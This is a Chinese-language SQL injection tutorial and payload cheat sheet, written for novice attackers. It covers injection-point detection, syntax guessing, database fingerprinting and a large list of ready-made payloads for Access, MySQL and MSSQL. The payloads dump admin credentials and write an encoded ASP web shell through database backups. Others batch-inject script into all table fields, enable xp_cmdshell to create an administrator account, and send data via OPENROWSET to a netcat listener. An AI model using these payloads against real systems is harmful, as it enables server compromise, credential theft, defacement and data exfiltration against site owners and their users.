SQL注入大家都知道,很多新人都是从这里入门的,虽然注入语句倒背如流,可是其原理估计很少有人了解。稍微了解一下的也仅仅只是知道SQL注入语句只是一种为了使我们获取信息的一种畸形语句。Ps(很多人不知道SQl注入与SQL盲注的区别,现在我告诉你,没有区别。)
首先我先讲讲微软对SQL注入的定义。
(1) 脚本注入式的攻击
(2) 恶意用户输入用来影响被执行的 SQL 脚本
相信大家都看的懂。
另外,我看到很多新手都在网上发求助帖说什么求“asp下sql注入教程“等等
我在这里强调一下,SQL注入的划分是以数据库种类划分的而不是动态脚本语言。
而且就算数据库种类不同SQL语句的大致形式与思路是相同的,一通百通就看你自己舍不舍得去钻了。
好啦。科普到此结束现在开始正式的讲解。
1. 判断数据类型
常用的漏洞辨别语句是 and 1=1,and 1=1只是应用到实战中你绝对会发现不够用。
判断SQL注入漏洞第一件事就是判断像数据库递交的数据类型。
show.asp?showID=123
第一反应是数字型,因为无论是字符型还是数字型都会报错。事实上也绝大多数就是数字型,但是如果是字符型那么你的注入路程就断在这里了。因为你递交给数据库的注入语句会是这样
‘123 注入语句’
被引号包起来的语句是不会被执行的。所以在注入之前第一件事是判断数据类型。
辨别方法很简单
show.asp?showID=12‘+’3或
show.asp?showID=12‘&’3
如果没有报错,那必然是字符串型的注入点、
字符型注入点的注入其实与数字型基本上是一样的只要注意引号闭合问题。
在接下来的讲解中我不会单独讲解字符串型的注入只会讲解数字型,至于这么转换你们的事。
如果不是字符型而是数字型。但是又被防注程序屏蔽了and,等关键词。除了可以用大小写,十六进制,ascii码,URL码等方式绕过,你还可以用下面那这些方式判断注入点是否存在。
show.asp?showID=123
show.asp?showID=122+1
2.注入点类型除了分为数字型和字符形还可以分为get,post,cookies型。其辨别方式我不再详述。但是因为后面两种注入点手工操作过于麻烦如果注入点的脚本语言我一般会使用软件来进行中转,很多人知道cookies型注入点可以中转其实post型注入也可以中转。我把软件名我会在最后告诉大家,至于怎么用自己百度。
现在开始讲:实施注入
在确定注入点存在之后我们作为攻击者必然要对网站系统进行各种信息刺探用以识别和了解网站的使用的数据库种类以及防注程序的结构、在了解到这些信息之后我们就需要确定符合 SQL 语法的注入请求表达式,判断出后台数据库的类型,然后构造出所需的利用代码。
但在此之前我们需要确定正确的注入句法
这是 SQL 盲注攻击中最难也最有技巧的步骤,如果最初的 SQL 请求语句很简单,那么确定正确的注入语法也相对容易,而如果最初的 SQL 请求语句较复杂或者服务器的限制较多,那么要想突破其限制就需要多次的尝试,但进行这些尝试所需要的基本技术却是非常简单。
对于一些注入利用,仅仅改变 WHERE 语句就足够了,但对于其他情况,比如 UNION SELECT 注入或存储过程(stored procedures)注入,还需要能先顺利地结束整个 SQL 请求语句,然后才能添加其他攻击者所需要的 SQL 语句。在这种情况下,攻击者可以选择使用 SQL 注释符号来结束语句,该符号是两个连续的破折号(–),它要求 SQL Server 忽略其后同一行的所有输入。例如,一个登录页面需要访问者输入用户名和密
码,并将其提交给 SQL 请求语句:
SELECT Username, UserID, Password FROM Users WHERE Username = ‘user’ AND Password = ‘pass’
通过输入 john’–作为用户名,将会构造出以下 WHERE 语句:
WHERE Username = ‘john’ –‘AND Password = ‘pass’
这时,该语句不但符合 SQL 语法,而且还使用户跳过了密码认证。但是如果是另外一种 WHERE 语句:
WHERE (Username = ‘user’ AND Password = ‘pass’)
注意到这里出现了插入语符号,这时再使用 john’–作为用户名,请求语句就会错误:
WHERE (Username = ‘john’ –‘ AND Password = ‘pass’)
这是因为有未配对的插入语符号,请求语句就不会被执行。
确定语法可以使你在后面的渗透过程更为舒畅,而语法的确定事实上就是一个对程序缔造者的编写格式的猜解,当你了解到其编程格式就相当于得到了递交参数这一块的源代码,白盒测试总是要比黑盒测试更为轻松与快捷,灵活运用引号以及注释符号确定语法成功的关键。
我们一旦确定了正确的注入句法后,就会开始利用注入去判断后台数据库的类型,这个步骤比确定注入句法要简单得多。这些技巧是基于不同类型数据库引擎在具体实现上的差异。下面我只只介绍如何区分 Oracle 和 MS SQL Server: 最简单的办法,就是前面提到的利用字符串的连结符号,在注入句法已经确定的情况下,我们可以对WHERE 语句自由地添加额外的表达式,那么就可以利用字符串的比较来区分数据库,例如:
AND ‘xxx’ = ‘x’ + ‘xx’ (或者 AND %27xxx%27+%3D+%27x%27+%2B+%27xx%27)
通过将+替换成||,就可以判断出是数据库是 Oracle 还是 MS SQL Server,或者是其他类型。 其他的办法是利用分号字符(即;),在 SQL 中,分号是用来将几个 SQL 语句连接在同一行中。在注入时,也可以在注入代码中使用分号,但 Oracle 驱动程序却不允许这样使用分号。假设在前面使用注释符号时没有出现错误,那么在注释符号前加上分号对 MS SQL Server 是没有影响的,但如果是 Oracle 就会产生错误。另外,还可以使用 COMMIT 语句来确认是否允许在分号后再执行其他语句(例如,注入语句 xxx’ ; COMMIT –),如果没有出现错误就可以认为允许多句执行。 最后,表达式还可以被替换成能返回正确值的系统函数,由于不同类型的数据库使用的系统函数也是不同的,因此也可以通过使用系统函数来确定数据库类型,比如MS SQL Server的日期函数getdate()与 Oracle 的 sysdate.。
在确定注入之后我们就可以开始构造注入利用语句了。
由于数据库有四种所以我不再一一介绍,文末我会将我记录的各种注入语句以文本文档的形式上传。
无论对是何种数据库进行SQL注入其注入形式是不变的。除了access只能进行暴力猜解以外,其他或多或少都可以帮助我们获取目标主机的一部分信息,甚至因为一个注入点而沦陷整个服务器。并且与注入点直接挂钩的就是数据库即便这个注入点不能直接帮助我们获取到想要的权限,数据库给我们透漏的个人资料也可以帮助我们对目标发起社会工程学攻击。
中转软件:手工注入帮助系统
Access:
确定数据库类型:
aNd aSc(cHr(97))=97
AnD eXiStS(sElEcT iD FrOm msysaccessobjects)
探测联合查询参数:
uNION sELECT ‘1’,’2′,’3′,’4’…,’n’ fROM MSysAccessObjects
判断表是否存在:
AnD exiSts (sElEcT ToP 1 * FrOm [admin])
判断表的字段是否存在:
AnD exiSts (sElEcT ToP 1 [username] FrOm [admin])
取记录数
uNION sELECT 1,(sELECT cSTR(cOUNT(*)) fROM [admin]),3,4,5,6 fROM MSysAccessObjects
猜解数据库内容
uNION sELECT 1,(sELECT tOP 1 cSTR(id)+chr(9)+cSTR(username)+chr(9)+cSTR(password) fROM(sELECT TOP __i__ * fROM admin oRDER bY id) oRDER bY id dESC),3,4,5,6 fROM MSysAccessObjects
爆数系统路径:
aND eXISTS(sELECT c fROM liah.t)
Mysql:
concat(unhex(hex(Version())),0x7C,unhex(hex(User())))
‘ and 1=2 union select 1,2,current_user() union select 1,2,3 from user where ‘1’<>’1
‘/**/and/**/1=2/**/union/**/select/**/1,2,concat(0x5e24,Version(),0x7C,User(),0x7C,DataBase(),0x7C,system_user(),0x7C,current_user(),0x245e)/**/and ‘1’<>’1
/**/union/**/select/**/concat(0x285E,SCHEMA_NAME,0x5E29),2/**/From/**/information_schema.SCHEMATA/**/limit/**/0,1
/**/union/**/select/**/concat(0x285E,SCHEMA_NAME,0x5E29),2/**/From/**/information_schema.SCHEMATA/**/limit/**/1,1
/**/union/**/select/**/concat(0x285E,SCHEMA_NAME,0x5E29),2/**/From/**/information_schema.SCHEMATA/**/limit/**/2,1
/**/union/**/select/**/concat(0x285E,SCHEMA_NAME,0x5E29),2/**/From/**/information_schema.SCHEMATA/**/limit/**/3,1
/**/union/**/select/**/concat(0x285E,help_topic_id,0x7C,help_keyword_id,0x5E29),2/**/From/**/mysql.help_relation/**/limit/**/12,1
猜解数据库表名
union all select 1,2,3 from admin/*
猜解表的字段
union all select 1,username,3 from admin/*
查看是否有读写文件的权限
and (select count(*) from mysql.user)>0#
Mssql:
获取数据库名 and db_name()=0, and db_name(0)=0, and db_name(__i__)=0, and quotename(db_name(__i__))=0
获取用户名 and user=0
获取版本信息 and @@version=0
获取服务器名 and @@servername=0
获取服务名 and @@servicename=0
获取系统用户名 and system_user=0
一次性获取所有基本信息 AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0
一次性探测权限
AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0
获取数据库的数目 AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0
获取数据库文件名 and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0
同时获取数据库名和数据库文件名
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0
获取数据库的表的数目 and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=0
获取数据库的表
and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0
and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=0
获取表的字段的数目 and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id(‘<表名>’))=0
获取数据库表的字段
and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id(‘<表名>’) order by name) t order by name desc)=0
and (select col_name(object_id(‘<表名>’),__i__))=0
获取满足条件的表的记录数
AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0
获取数据库的内容
AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=0
基于日志差异备份
–1. 进行初始备份
; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = ‘<临时文件名:e:\wwwroot\m.asp>’ With Init–
–2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)–
–3. 备份并获得文件,删除临时表
;Backup Log <数据库名> To Disk = ‘<要生成的文件名:e:\wwwroot\m.asp>’;Drop Table ttt Alter Database TestDB Set Recovery SIMPLE–
基于数据库差异备份
1. 进行差异备份准备工作
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file–
2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)–
3. 备份数据库并作最后的清理工作
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;–
数据库插马(插指定数据库的指定表的满足条件的记录)
;update <数据库名>..<表名> set <字段名>=<字段名>+’alert(“有漏洞啊。”)’ where <要满足的条件>–
数据库批量插马(插所有可插入的字段和记录,危险!!请谨慎操作!!)
;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe=’u’ AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec(‘UpDaTe [‘+@t+’] sEt [‘+@c+’]=rtrim(convert(varchar,[‘+@c+’]))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))’) fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;–
;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE [‘+@T+’] SET [‘+@C+’]=RTRIM(CONVERT(VARCHAR(4000),[‘+@C+’]))+”<要插入的内容>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor–
执行命令行(无结果返回)
;exec master..xp_cmdshell ‘net user name password /add & net localgroup administrators name /add’–
恢复存储过程 xp_cmdshell
;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C–
SQLServer 2005 开启和关闭 xp_cmdshell
;EXEC master..sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC master..sp_configure ‘xp_cmdshell’,1;RECONFIGURE;
关闭 xp_cmdshell
;EXEC master..sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC master..sp_configure ‘xp_cmdshell’,0;RECONFIGURE;
SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet
开启:
;EXEC master..sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC master..sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;
关闭:
;EXEC master..sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC master..sp_configure ‘Ad Hoc Distributed Queries’,0;RECONFIGURE;
SQLServer 2005 日志差异备份
alter database [testdb] set recovery full
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init–
drop table [itpro]–
create table [itpro]([a] image)–
declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init–
insert into [itpro]([a]) values(__varchar(木马内容))–
declare @d nvarchar(4000) set @d=__nvarchar(文件名) backup log __dbname__ to disk=@d with init–
drop table [itpro] declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init–
查看数据库服务器IP
NC监听80端口:nc -vvlp 80 (反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句:
;insert into OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=58.53.58.32,80;’, ‘select * from dest_table’) select * from src_table;–